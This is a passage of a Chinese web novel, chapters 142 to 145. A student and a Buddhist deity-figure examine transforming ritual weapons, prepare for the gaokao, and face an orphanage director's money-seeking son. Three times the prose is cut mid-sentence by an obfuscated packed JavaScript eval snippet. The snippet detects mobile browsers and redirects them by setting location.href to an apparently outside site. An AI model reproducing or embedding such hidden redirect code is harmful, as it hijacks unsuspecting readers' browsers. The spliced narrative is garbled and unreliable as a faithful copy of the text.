听施霜景这么一说,名为吴天宇的同班男同学脸色惨白,大声求饶:“操,施霜景,你他妈有毛病……关我什么事……只打我一个!放手!我要吐了!我要脑震荡了!你赔我医药费!” 施霜景突然一松手,吴天宇整个人砸在同伙身上。趁众人怔愣之时,施霜景三下五除二收好书包。其他男学生不知道到底要不要反击,施霜景又给了地上的吴天宇一脚,施霜景道:“你要怪就怪这些有爹疼有娘爱的傻逼,你跟他们有什么可混的?我真搞不懂,你这个留守儿童找我这个孤儿的麻烦,到底是图什么。” 施霜景发自真心如此认为。 他初中跟孤儿院的大孩子们在外面打架,继承了一套励光厂年轻男孩的资料库:哪些小孩不能当面冲突,只能躲着走;哪些小孩是无依无靠的滚刀肉,要么拉拢,要么揍服;哪些小孩没人撑腰还爱混,一定要把他们赶出这个角斗场。这便是施霜景的打架哲学。 刚才余光一瞥,施霜景已看见地上的金刚杵变幻成了三棱刺型的普巴杵。施霜景平复着自己的呼吸,快步走回家。 “罗爱曜!快出来!看看这是不是马头明王的头!” 施霜景取出普巴杵,烫手似的,生怕罗爱曜错过时机。他不知道这金刚杵为什么在与饿鬼激战时钝得只能砸核桃,但在这种小打小闹里又会化作锐器。 142.大智若愚篇(五) 今日罗爱曜莫名其妙从三楼房子的储藏室推出一台麻将机,竟然还能用,他清洁麻将机,麻将机里有两副麻将,可以直接启用。彼时罗爱曜正一个人打麻将玩,玉米站在罗爱曜的大腿上,前肢撑着麻将机,像是在跟他的佛子爹学习打麻将中。施霜景毛手毛脚地跑进来,手捧尖锐的天铁普巴杵,口里嚷着“马头明王”、“马头明王”,罗爱曜凑近,蹙额端看好半天,甫一伸手接过普巴杵,这普巴杵又铿锵地变回了两端圆钝的金刚杵。 施霜景屏住呼吸,等罗爱曜的答案。罗爱曜说:“你坐过来,我们聊聊金刚杵的事。” 两人坐到餐桌前,罗爱曜抽来一张空白草稿纸,拉了一条长长的直线,从最左端开始打标记,打算细数他们相见以来大大小小的事件。 施霜景事先声明:“我只用金刚杵砸过鬼子母神的饿鬼,一次也没用过这个尖尖的金刚杵。” “你没有别的想说吗?比如刚才发生的事?” “这有什么好说的,都还没打起来呢。” “……真的?” 施霜景不耐烦:“屁大点事,罗爱曜,你能不能集中一点?我们不是在讲马头明王吗?”不然我一路快步加小跑回来给你送金刚杵,这不成了笑话么?让别人看见还以为我打架输了在逃命呢。施霜景如是这样想道。 竟然被施霜景给教育了。罗爱曜用笔戳戳时间轴的最左端,说:“这里是我接收到你许愿的那天,你去大慈寺求佛,不知道为何,是我接下了这‘单’。那时我没有手机,便像魂灵一样侵入电子系统和你交流。” “用小纸片来吓我,你当时怎么想的?”时隔大半年,施霜景一回想当时的场景,荒谬之感远多于恐惧之感。什么金尊客户,活好价高,又说自己是佛子,这简直有够怪的。 “看你一直板着脸,半分笑容都没有,所以用荒诞的现代小东西逗逗你。” 身为佛子,这么爱玩人类真的可以吗?施霜景忍了。然后罗爱曜列出他与施霜景认识的第几天后取出人身、抵达励光厂。施霜景这是第一次搞懂罗爱曜在鬼子母神一事中的行动时间线,罗爱曜自叹:“可惜那之后我就变老实了,谁都拿我当出差的工具使……” 施霜景无奈地盯住罗爱曜,意思是你别再废话了。 没办法,罗爱曜只能换上他平常补习时所用的语气:“我们只看鬼子母神这一整件事。我认为最蹊跷的还是你去同班女同学家,莫名其妙被捅的那一回。事到如今,我也没什么好隐瞒的。你还记得郎放说你的死期就在月初么?我当初给你一万块,其实是买断你从十一月到三月的这一整段人生,所以我让你赶紧把钱花掉。你没花完,我就没法取走你的性命,结果你只差那么一点就死在那天夜里。我有种被截胡的感觉。” “然后你就跑来和我同居了!”施霜景渐渐咂摸出其中滋味,“你是因为被截胡了很不爽,才过来看看是怎么一回事,对不对?” “嗯。我承认。单凭一两样巧合,不足以让我留在你身边。愈是到后来,碰见的‘巧合’就愈多,多到我不得不打个草稿来整理它们。” “然后呢?” 罗爱曜掂掂手中的金刚杵,严肃道:“你还记不记得,那回我带你去升仙湖找水中梵钟,我和你说过,金刚杵不是我给你的,它自动找上了你。但我不知道你手中的普通金刚杵竟然会化作忿怒相金刚杵,这是我第一次知道。你没看错,金刚杵的头部确实是马头明王。”罗爱曜信手一翻,金刚杵重新化形为普巴杵,而那马头明王怒相竟然显出了三个头。 这时候施霜景才慌忙地摸自己的脖子,摸到那串佛子宝珠——他分明记得自己住院的时候被迫摘下了法珠,甚至不记得交给谁了,可这法珠还是会原路返回到他脖子上。施霜景太过适应,以至于平日里洗澡换衣都忘了它的存在。 “降魔杵,金刚心,是以破魔证法,如电如雾。”罗爱曜停顿,将手中金刚杵的棱尖对准自己,“但如果不是金刚、明王这类护法使用金刚杵伤人,便是反证为魔,欲念难消,伤人害己。” 也就是说,这个法器不可用来伤人。如果当初施霜景用金刚杵攻击了庄晓,或是刚才用金刚杵攻击了同学,那施霜景反倒会为它所害。对待饿鬼那回则属于正当防卫。 施霜景后怕:“这什么意思?钓鱼执法吗?” “不一定。以我的直觉来看——它有点像是某种考验。”罗爱曜到底是当老师的人,到底也当了这么多年佛子了,他代入自己的身份来思考这一问题,“如若我是这法器的施与者,必当给予试炼,试炼不成便收回。此类法宝不会轻易用于‘护卫’的效果,更何况……” “更何况……?” 罗爱曜大大地打了个磕巴,伸手抚上施霜景项上的法珠,轻念咒文,召出另一样法宝。 只见一把完全成型的佛剑枕在施霜景膝上,剑柄部分形态圆满,中央一枚鹅黄宝珠,宝珠上下为莲瓣盛开,剑柄末端构造与金刚杵很像,为三股金边隆起,中间还藏有一根实在中轴。以剑柄为起始,整把剑由窄至宽,剑尖淬有一圈狰狞火纹。此剑很重,压在施霜景膝上,吓了施霜景一跳。 “这是文殊法剑。它最初到你手上时,只是一把残剑。但在你即将病逝那天,此剑终成。” 施霜景后背汗毛竖立。这种种征兆代表的究竟是什么?文殊?施霜景知道D市最著名的景点之一便是文殊院,他今天还听同学说,高考前大家要组队去拜文殊菩萨呢。 而且施霜景的网名叫“一剑霜寒”——难道他真的会有一把剑?施霜景急得直挠头。 既然有各种线索,不妨今日全数抛出。罗爱曜补充道:“若说金刚杵作为法器,药师十二将的伐折罗使用金刚杵,而伐折罗是文殊师利的应身之一。” 施霜景已然头皮发麻。 罗爱曜再一垂首,还没说完:“我师父不空三藏最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634319|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为宣扬的就是文殊信仰,他将毕生所搜集的密宗经典几乎全置于五台山金阁寺,而五台山便是文殊菩萨道场。” 信息量太大了,施霜景过载。别说施霜景了,罗爱曜自己都很难消化,他从见到文殊残剑时就有隐隐的预感,如今更是不得不将这些联想统统放上台面。 施霜景指了指自己:“我不会是文殊菩萨吧?” “不是。文殊菩萨为倒驾慈航的三世佛,不兴人身转世。” “吓死我了……” “而且你是第一世,哪来的转世?就算是倒驾慈航……” “什么是‘倒驾慈航’?” “意思是已经成佛了,但又自愿从极乐世界打回重来,陪众生历苦、普渡众生。一些菩萨便是这样的状况,以文殊菩萨为最典型。” 施霜景好慌,又开始下意识找猫。他将膝上的文殊法剑还给罗爱曜,在窗前找到了玉米,便一把将玉米抄进怀里,这才坐回餐桌前。 施霜景问:“我真的不会是文殊菩萨倒驾慈航吧?” 罗爱曜也出离恍惚了:“可是我一直很笃定你没有佛缘,还觉得你无法修炼。如果真是文殊菩萨倒驾慈航,不该是这样的素质。” “……” “不要误会,我没有别的意思。” “那咋办?我突然觉得肩上很有重担。” 罗爱曜哭笑不得,他也不知道从何处开导。如果说这种种事件很像拼图,那施霜景则很像拼图的底板——不论哪一块拼上去都是合宜的。施霜景真是很神奇的一号人物。 二人面面相觑,罗爱曜低头写满了两张草稿纸,将他们在一起后或重要、或细微的大小事件全部标注出来,施霜景栽倒在沙发上,心情很复杂:这半年来他见过那么多不是人类的人,施霜景总是作为唯一一个普通人,在其中格格不入;可现在告诉他,兴许他也有机会不普通,施霜景到底是应该接受还是应该不接受?更或者,他有的选吗? 末了,罗爱曜忽然抬头,问道:“郎放是不是说过,你和他都是‘天绝命’,就是那类父母双亡、自己性命不长、有玄学天赋的进阶版童子命?可你和他绝对不同。他们那一系全是钟山神转世,也就是说,郎放所讲的‘天绝命’不可能出现在你这样的第一世有情存在身上。” “马头明王……马头明王,他的行为习惯……混在马鸣菩萨的示现中,混在文殊菩萨的金刚杵中……”罗爱曜的大脑继续运转。 突然,家中佛龛响起金石冷冽的敲击声,嗒,嗒,嗒。罗爱曜和施霜景的动作同时一滞,两人对视。他们分明记得佛龛是空的,而马头明王像则是被罗爱曜收起来了,施霜景不可能把别的小像放进佛子的佛龛。 那么,到底谁可以解释,为什么马头明王像如今在罗爱曜的佛龛中? *本章有关金刚杵、文殊剑、文殊菩萨、不空三藏、五台山文殊道场等等知识皆可在网络上进行交叉验证。 143.大智若愚篇(六) 这怪动静绝非幻觉,兀自响了一阵,罗爱曜起身察看,施霜景不安地拽住罗爱曜,让他不要轻举妄动。 可这马头明王像一切如常,依旧是弓箭步造型,六手各执法器,三首威吓凶悍。罗爱曜伸长手臂,取出马头明王像,左右上下翻转、确认,他对马头明王像的出现一直心存不安,毕竟这尊马头明王像不知何时潜入了罗爱曜的佛像中,这就给罗爱曜留下了一个近似套娃的印象,总觉得这佛像中还能再剥出什么东西来——话说,为什么马头明王像是由佛子像改成的?这也太不礼貌了吧! 罗爱曜取出一尊自己的佛像,没空挑选了,就随手抓出一座站立的多手施法佛子像,塞进佛龛中。佛龛空置太久不是好事,谁都能来坐个主位。 “无事。就算是真的马头明王前来,我也能论战不输。”罗爱曜自信道。 “你们是佛门中人,又不是江湖武林。”施霜景吐槽。 两人都遭这异响彻底打断思路,罗爱曜是身在局中迷了眼,施霜景则是早就放弃搞懂这些弯弯绕。高考生反手掏出昨天李老师布置的作业,罗老师回到麻将桌前,一边打牌一边继续后台运行种种思考。 别的不说,养只小猫实在有意思。罗爱曜拍拍大腿,玉米接收指令,轻车熟路跳上来,罗爱曜低声教小猫怎么看牌……三个花色相同就是“碰”,听到了么,“碰”!我教你认条桶万子……叫牌还是有点困难,你今天的任务是学会碰牌。 一手摸牌,一手猫条,这牌要是能碰,玉米就用脑袋拱一拱牌面,罗爱曜发出清脆的声音:“碰!”一人一猫玩得不亦乐乎,施霜景做题做不下去了,背着手跑来看罗爱曜教玉米打牌,施霜景惊异地发现,玉米好像真的会碰牌,麻将水平已经比施霜景还高了! 很可惜,玉米的小猫脑子也就处理到这一层,从此以后不论罗爱曜怎么教,玉米至多能再认出“杠”牌,多的例如叫牌、和牌统统很难学会。 施霜景围观一会儿罗老师教玉米打麻将,到点了,要做饭了,他就趿着拖鞋去厨房洗洗切切,做饭、吃饭,吃完一通收拾,再一看手机,竟然已经八点了!施霜景再次开始做题。没过一会儿,施霜景拿着手机去上厕所,时钟赫然显示十点钟!时间都去哪儿了? 复习的日子里,时间流速实在太快,甚至快得有些恐怖。不知不觉间,施霜景的数学一轮复习收工,这也是他高考前唯一一轮复习。罗爱曜红笔一叉,直接在考卷上替施霜景毙掉最后几道大题的最后一问,然后翻页回前一面,叉掉最后两道选择题、最后两道填空题。罗爱曜宣布:“对你来说,数学卷的满分是一百二。这些题你就大致看一眼,一分钟内如果有思路就可以算算,一点思路都没有就直接蒙。” 施霜景忐忑举手:“罗爱曜,我有个很严肃的问题必须问你。” “请说。” “你说不戴套做可以让我脑袋变灵光,这到底是真的还是逗我玩?” “……” “……” “我……不知道?我确实是存着逗你的心思,可我接触你这么久下来,发觉你其实并不笨?”罗爱曜有点汗流浃背,他也不知道自己在汗流浃背个什么劲,施霜景又不会吃了他,“要是你的复习时间再充裕一些,你有希望去更好的学校。” “我不想复读。我就只考这一次了。”施霜景听罗爱曜夸他,心里得意几分,“不管你是不是逗我,反正我觉得有点用。” “哦……哦。有用就好。” 施霜景脸色忽然一沉:“我相信你的人品,知道你不会搞出什么事故,才让你这样乱搞。我要高考了,你得负责做些家务。你不是有些清洁的咒法么,怎么从来没见你用过?” 原来话题在这里等着。罗爱曜被施霜景打直球打惯了,今天忽然打个曲球,会读心的罗爱曜都没读出这转折的前兆。罗爱曜说:“因为没必要。我为了清洁这条床单,将它回调到刚洗净的时刻……我可以这么做,但这种精细微调做多了,会对本体有损。就跟为你治病一样,治一次两次还行,治多了反而担心把你治坏。” “那没办法了,你得亲自动手做。” 施霜景的胆子渐渐壮了起来,他与罗爱曜不是什么包养关系,也不是露水情缘。既然要过日子,那就要从最寻常的事开始,一并分担、完善。 施霜景大发善心,让罗爱曜自己选。不做家务是不可能的,罗爱曜这样一个顶天立地的佛子,宝石法身森寒炫目,宣明不二之法——在这种生活小事上讨清闲,实在掉价。最终罗爱曜还是选了清洁类的家务,原因是:“万一哪天不想做了,还能用咒法糊弄一下。” “那我负责采购和做饭,扔垃圾之类的活也可以留给我。玉米会看人下菜碟,我负责它的生活起居,但你每两个星期要帮它剪一次指甲。” “施霜景,你是不是忘了,我们现在还在讲考试策略?”罗爱曜出声,将这越跑越远的思路拉回来。 施霜景连道不好意思,集中注意力,罗爱曜在教他怎么考试!这次月考结束之后,施霜景就要回学校了。罗爱曜整整陪了施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634320|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜景一个半月,寸步不离,就是为了缓解施霜景的分离焦虑。罗爱曜已经列出长长的计划,他白天要跑的调查只多不少,可罗爱曜也有些担心,怕自己再回来时,施霜景都高考完了——至多再等两个月,罗爱曜打算等施霜景高考完,带上施霜景一起跑调查。 在此期间,罗爱曜寄希望于柳闻斌,请柳闻斌代替自己跑线索,主要是跟马家那条线。柳闻斌一直没找到□□歌一家的下落,其他马家人倒是见到了。柳闻斌形容道:“那些马家人看起来都很正常,没见他们像□□歌一样突然起乩……可我每次问他们□□歌的事,他们就向我装傻。佛子,这些马家人都很有钱的,他们是真看不上我啊。” 如果只是信徒与信徒间拼有钱,罗爱曜大可以找他的那些家族信徒过来做事,可这样大动干戈,罗爱曜难免又要抽身来处理人情世故。于是马家的线索暂时搁置。 那,留在励光厂,还有什么可干呢?罗爱曜太闲了,可他再闲也不愿意做佛事,法界中的宝殿堪堪搭了个框架,罗爱曜光构思法殿的新样式就构思了半个月。一言以蔽之,罗爱曜要被憋坏了,偏偏施霜景是个挪不得、移不得的高考生。 正是春意浓,励光厂新设生产线,资金回流这厂家,也就带动了周遭的人气。励光福利院来了两个新孩子,刘茜有些分身乏术。施霜景病愈后,他将补助全数还给励光福利院。罗爱曜带他去过银行,不知道用了什么摄魂术,银行工作人员将施霜景的银行卡猛猛升级,总之施霜景一个月内能接收的转账更多了。现今刘茜当上福利院院长,她得招些新员工,毕竟刘茜年龄摆在这里,福利事业不能只靠老人。 和励光厂生产线资金一起到达的,还有佛像拍卖之后所设立的专项福利基金。专项的公益机构找上门来,刘茜拿不准主意,就请罗爱曜来帮眼。这钱约等于就是罗爱曜拉来的,她却无从得知了。 罗爱曜找出那副银框眼镜,戴上它才去往福利院,装得像个老师。恰逢午休时间,施霜景说要来福利院同罗爱曜汇合,罗爱曜当然乐意。罗爱曜先到福利院,公益机构的车已经停进院里,刘茜在招待调查小组的人们。 罗爱曜在调查小组里见到了眼熟的人,他思忖片刻,觉得和信徒在福利院见面不大好,还没等罗爱曜转念一想,他的后背忽然受到一阵不大不小的冲力。施霜景的双手搭在罗爱曜肩上,小牛一样冲上来,只差那么点儿就跃上罗爱曜的后背。 “哎呀,施先生!刚放学呢!” 南洋口音的许晏之笑出一口大白牙。 144.大智若愚篇(七) 施霜景当即站定了,刚才的活泼像假的。他对许晏之这人没印象,但对许晏之的肤色、口音有印象。罗爱曜在心中悄悄提醒施霜景:他是我的信徒,你在拍卖会上见过,祖籍福建,拉着我们聊了半天的那个人。施霜景记起来了。上次见到许晏之,施霜景穿得稳重,表现得也稳重。刚才那一冲属实有点破坏施霜景人设,施霜景还穿着校服,简直与拍卖会那次两模两样。 公益机构一共来了六个人,分两辆车,两位是负责社会工作与儿童福利的工作人员,一位是财务评估人员,一位是队长兼项目管理评估人员,一位是司机,再带了这么一位格格不入的许晏之。 罗爱曜:你去问问他,他为什么要来福利院。 施霜景接到指示,强定心神,上前问道:“许先生,你来做什么?佛子给你们下达指示了么?” “就是来找你玩啦。你比我小那么多,我把你当弟弟不行吗?”许晏之拂一拂空气,“开玩笑开玩笑。上个月月初,我家老人连续几晚做梦,很担心佛子呢。今年很多家族的老长辈都要一起来F酒店供奉佛子的唐卡,我先来替他们打点,顺便来看看你。” 许晏之没提施霜景的“舅舅”。他认得这舅舅,也记得舅舅曾经的自我介绍。对于这位舅舅的热心帮忙,许晏之不好过问。作为佛子的信徒,他总对卓逸纶这号人物略感尴尬,太热切了显得像是背叛佛子,还是保持距离为好。 刘茜一脸疑惑,怎么非盈利性公益机构的人会认识小景?罗爱曜越过正在对谈的施霜景与许晏之,来到刘茜身旁,他是刘茜请来的外援。刘茜压低声音对罗爱曜道:“我暂时把鬼子母神像藏了起来,她不会生气吧?” “既然你能搬动她,那她就不会生气。” 施霜景绞尽脑汁地接话,余光却看见罗爱曜与刘茜带着那几位机构人员就进了建筑物,不顾他死活了。施霜景欲跟上他们的脚步,许晏之却拦住他:“施先生,你老实说,佛子他还好么?” “为什么这么问?” “唉,我有没有同你讲过,我们家老人供奉佛子像的时候,会用一块手帕仔仔细细地擦佛像,擦出什么颜色就是什么指示。最近我们家老太太怎么擦都擦出鸽血红色,要知道以前擦出红色顶多是珊瑚红……老太太很不安心,这家族传下来的供奉手记里也没有写这种情况到底是怎么一回事,我就只能来问你了,毕竟你是佛子选的人。” 施霜景想,唉,他真不好意思告诉许晏之,佛子说自己不能涅槃了,原因就站在许晏之面前。这与许家人擦佛像擦出鸽血红色有关么? 罗爱曜:无关。 罗爱曜:我最近心情烦躁,不想处理这种种。 施霜景:哎……你没事吧? 罗爱曜:我能有什么事? 施霜景对许晏之顾左右而言他,问就是不知道,可施霜景不擅长撒谎,说不知道的语气很像是知道点什么却不能说出口。许晏之改变策略,耐心下来,让施霜景一起进建筑物,参与机构人员的调查和评分中。 对于机构人员的问题,刘茜回答一大部分,主要是有关儿童照养、儿童入院情况以及福利院的院史;罗爱曜负责一小部分,可这部分都很专业,刘茜请罗爱曜扮演驻院志愿者,而且是专业知识相当丰富的那类志愿者,罗爱曜让刘茜记住自己的假名,他是卓逸纶,不是罗老师。 施霜景就这样默默观察罗爱曜,罗爱曜与人沟通时神采飞扬,施霜景半点看不出他在家里的摆烂赋闲状态。罗爱曜一人能答上四个人的问题,就连刘茜都听呆了,不知道自己是不是请了个院长来。机构人员被罗爱曜一夫当关万夫莫开的谈话风格骇住,一时间调查重心只能落在纸面上,就请刘茜带他们去了解一下福利院近年来的支出和收入情况,这是最重要的——毕竟他们带了钱来。 施霜景:罗爱曜,平时你是不是在家憋坏了。 罗爱曜:…… 施霜景:我们厂太小、太偏,没什么人气儿,你也没有什么朋友在这里…… 罗爱曜:前半部分我同意,后半部分——我本来就不需要朋友,就算在城市里也是如此。 施霜景:…… 罗爱曜:…… 施霜景:怪不得我说“我想当你的朋友”时,你马上就拒绝我了。好像平时也没见你用过“男朋友”这个词。 罗爱曜:我的因缘要尽可能保持简单、直接、明了,“朋友”这种关系太含糊不清,代表一种无法定义的需求性的情感关系。你对我、我对你的感情都很好定义,无需做朋友。 许晏之打了个响指,施霜景又走神了。施霜景面无表情地说抱歉。许晏之摸摸下巴:“你下午还要回学校么?现在时间不早了,我们要不找地方吃个午饭?你是本地人,你带路?” 施霜景接下这任务,他知道厂里有家炒菜馆子不错,如果大家不介意的话,中午可以去吃那家。公益机构工作人员中,除了司机,其余人都是女性,她们很容易就能和刘茜混熟,毕竟都是做社会工作的,出差在所难免,对吃喝不是很在意。 众人在炒菜馆落座,施霜景刚点好菜,刘茜就接到高大爷电话,听完高大爷的信息后,刘茜的脸色登时就变了。罗爱曜敏锐地看见刘茜正在发抖,正巧施霜景被许晏之缠住,罗爱曜便起身,说他要和刘老师一起回福利院,大家先吃。 罗爱曜:你留在这里,不要跟上来。我就在厂里,不会走远。 施霜景虽有不安,但还是克制自己。他听说这回公益机构带了几百万过来,作为第一阶段的补助。桌上不能没有福利院的人。 刘茜远远就望见了那个男人。她心情复杂,可既然被找上门了,刘茜还能去哪儿? 男人正值中年,穿一身休闲衣服,看起来经济情况良好。高大爷不让他进福利院,因为现在福利院的孩子们正在午休,放陌生男子进去会很危险,于是男人就坐在门口的花园墩子等人。他也看见了刘茜,立马站起身来:“妈!” 罗爱曜不动声色地跟着,在这春日里竟然显得有些严肃、阴郁。 “你怎么找到这里了?我们换个地方说,不要在我工作的地方……” “妈,晓莉和牛牛都来了,我带他们来D市玩一玩,也来看看你。” “罗……卓老师,你先回去陪小景和其他老师,他是我儿子,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634321|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么大事。我前夫没跟过来就好。” 罗爱曜已经悄悄将施霜景常用的那把金刚杵调进自己的大衣内兜中。罗爱曜忽然很想要验证一回事,于是他说:“不要紧,我来都来了,如果是小景陪你,他一定会陪到底。我就是过来替他的。” 中年男人睨向罗爱曜,这眼神令人很不舒服,可男人旋即压了下去,装作什么想法都没有。刘茜为罗爱曜介绍,她儿子叫高峰,然后刘茜又为高峰介绍罗爱曜,这位是卓老师,我们福利院的志愿者。 高峰说他老婆和儿子都在车里,想请妈过去见见,但对于过年期间的事,高峰一句不提。刘茜擦擦额头的汗,勉为其难去见了儿媳和孙子。罗爱曜守在院门前,距离这一家人大概三百米距离,高峰以为罗爱曜听不见、看不见,很快就切入正题。 “妈,我最近手上不宽裕,我那两家店都亏本亏得恼火……你看牛牛还小,也是要用钱的时候。我能不能先找你借点,就当过渡,半年内我一定还你钱。” “你要借多少?” “妈,那个……二十万可以不?” “你要把我的棺材本都借走是不是?” “我会还的嘛!妈,你是我亲妈,你不能眼睁睁看我变成失信被执行人吧……我们家牛牛还很小……” 罗爱曜听了满耳朵的八卦。刘茜二十二岁就结婚生子,二十三岁在哺乳期内就参加高考,做了妈妈大学生,到今年她儿子高峰已年满四十六岁,怎么看都不是小孩子了。今年的大年三十夜,刘茜前夫家暴刘茜,打得她颌骨骨折,躲回励光厂。这骨折固定带刚摘下没多久,欠了钱的儿子上门来讨债,刘茜哀莫大于心死,却又不能置身事外。这家庭八卦故事越听越复杂,原来高峰带来的老婆儿子都是第二任,刘茜对高峰说,她和牛牛互相都不怎么认识,因为刘茜曾经带的大孙子如今都已经上高中了,她连高峰的第二任太太的全名都背不齐全。 若不是刚才罗爱曜按住施霜景,施霜景一定会觉得,他必须当刘奶奶的守卫。施霜景说不定还要找高峰讨个说法。 不过,现阶段看不出什么激烈冲突的可能性,大衣里的金刚杵也圆圆胖胖地硌着罗爱曜的肋骨。 刘茜根本就没有那么多钱可以借给高峰,就算有,她也不想借。可刘茜很担心高峰下午接着来找她,天知道高峰是不是在这周围蹲守着。万一让高峰看出来这公益组织带了钱来福利院,那刘茜不借钱就会变成刘茜的“过错”,没有母德,见死不救,罔顾人伦。 罗爱曜代替施霜景的位置,可他只会远远地守着。他只要保证高峰不会突然把刘茜拽进车里绑走就好。 话又说回来,罗爱曜最早抵达励光厂时,就觉得励光厂的人情之运势实在不怎么样,厂子事业有多发达,人与人之间就有多复杂,且从已经发生的事来看,流血或混乱事件竟然一点也不少,本地的、外来的似乎都带刀、嗜血。还是说,其实这些混乱的事件从来都不少,只是人们压根不知道而已。这些混乱事件里,有多少跟罗爱曜的到来有关,罗爱曜自己也难以得知,除非去借功德簿或是生死簿来翻一翻。这些统计的活从来都落不到罗爱曜头上。 145.大智若愚篇(八) 施霜景与调查组的人边吃边聊,施霜景在福利院的地位很微妙,从现在的情况来看,他既游离于福利院外,偶尔却又成为福利院的核心。有调查组的人问:“小施,你以后会回院里工作么?” 这个问题好像照见了施霜景心中最不敢看的一口深井。施霜景直面心底的答案:“应该不会。我知道我应该帮忙,但……如果一直留在福利院,我就没有办法去看更大的世界。” “现阶段的励光福利院只能容纳少量的孩子,如果福利院想要往更专业、更大规模的方向发展,需要对组织管理人员进行调整和升级。”调查组组长说得很委婉,但她的意思其实是,接收了这笔钱以及未来的好几笔钱之后,福利院可能会变得面目全非,不再是这些孩子所怀念的那个励光福利院了。 “对孩子们好就好。”施霜景道。 “刘老师年纪不小了,院里需要招新的老师。” “我相信刘奶奶的决定,她会处理好。我只是来看看有什么能帮得上忙的。”施霜景筷子不停,不论吃饭还是说话都非常诚恳,“你们都是做这方面工作的。有时候我觉得福利院也像学校,学生总是要毕业的,这里不是我们这些人的家,好像吃了苦也没办法回来。” “你有怀念的朋友吗?你们还有联络吗?”组长问。 施霜景无法回答。他不确定他与那些已经“毕业”的孩子们是否算朋友。有微信好友但从没说过话算有联络吗?“我不知道,我不知道会不会发消息之后发现他们把我删了,也害怕听见他们说自己过得不好。”施霜景的声音有些沉闷。 组长拍拍施霜景的肩膀:“社会工作很难做的。我们每天都在面对这些问题,我们也没有答案。总而言之,希望这笔捐款能帮到你们福利院。” “已经决定捐助我们院了么?” “我们还需要出一个系统性的评估报告提交上去,只能说希望你们能顺利拿到吧。” 施霜景默默想,是了,这就是他需要出去工作的理由:如果他不出去挣钱,他就没办法直接地帮助自己想要帮助的人。这些迂回的筛选方式……这是程序,这是福利的准则。在所有人都不知道该怎么办的时候,施霜景只能凭朴素的直觉和道德行事,而他还有很多很多事要学着去了解。 午休结束,施霜景回班级上课。月底有三诊,下个月有多校联考,再下个月就到高考了。施霜景的精神既集中又麻木,他以为回学校会增加自己和同学的交流机会,可事实是所有同学都很忙、很紧张。施霜景早上七点就到班级,晚上九点半下晚自习回家,和罗爱曜的接触时间缩短许多,今日见到罗爱曜眉飞色舞的样子,施霜景恍如隔世。谈恋爱和一场重病让施霜景成了粘人的少年,而肆意潇洒的佛子罗爱曜束手束脚。没有对比就没有感知。好难啊。这种事可以开口讲吗?情侣之间的动态又是能通过几句话就调整好的吗? 施霜景晚餐在校外吃,他吃刀削面,杨玲玲在一旁争分夺秒地抄施霜景的笔记,杨玲玲问他,李老师周末还来不来呀?施霜景给李老师发消息,如果周末是训练高考题,能不能也让杨玲玲来。李老师让施霜景自己决定。施霜景同意了。做事要有始有终。 自从上回施霜景揍了吴天宇,后者就三天打鱼两天晒网地上学,听张国强说,如果这些学生出勤天数不够,他们能不能拿到高中毕业证都是个问题。 不知为何,施霜景现在看到、想到这些人,心中某种急切的感觉全然消失了。施霜景不再觉得别人说的话是某种信号,催促施霜景去付诸行动。他不知道,这是不是佛子曾说的,每个人都有自己的业,不要卷入他人的业。 很可惜,到晚自习下课时间,施霜景背书包出校门,忽被一位中年男人拦住。男人的车停在路旁,学生如潮水涌出校门,施霜景和男人走到一旁,这才听见男人自我介绍,他是刘奶奶的儿子高峰。 “今天中午,我看到你和那些工作人员一起谈话,你的校服很好认。你是福利院的孩子吧,要回福利院吗?” 施霜景眼神冷寒,有如刀光一闪,他反问:“关你什么事?你要找刘奶奶?” “呵呵,我找过了……我请你吃夜宵吧,我就和你聊聊我妈的事,我想知道她这些年在福利院过得怎么样。” “我不需要。”施霜景闪身,迈开大步,甩开高峰。高峰欲追上来,施霜景渐渐心生愤怒,对刘奶奶的家事以及她这些家人,施霜景一恨他们冷眼旁观,二恨他们屡教不改,三恨他们不得报应。 “我妈对你们这些人比我对我还好!你还给我甩脸色?!小弟弟,我妈不是你妈!”高峰大声嘲讽,四十多岁的人了,冲着二十岁的人怀念母爱。施霜景回头瞪他一眼,刘奶奶这么好的人,怎么尽沾上这样的家人。 高峰见施霜景不理他,便转身上车,发动车辆,车灯晃过街边学生的一张张脸,该天杀的近距离开远光灯。施霜景在人行道上快步行走,藏入人群中。高峰的车一路跟,好几回差点擦撞到学生们。 在下一个街角,施霜景忽然给人拽住手臂,硬生生拽停下来。施霜景怒而转头,原来是罗爱曜。 “我来接你放学。”罗爱曜说。 “刘奶奶中午是不是回去见她儿子去了?”施霜景咬牙切齿。 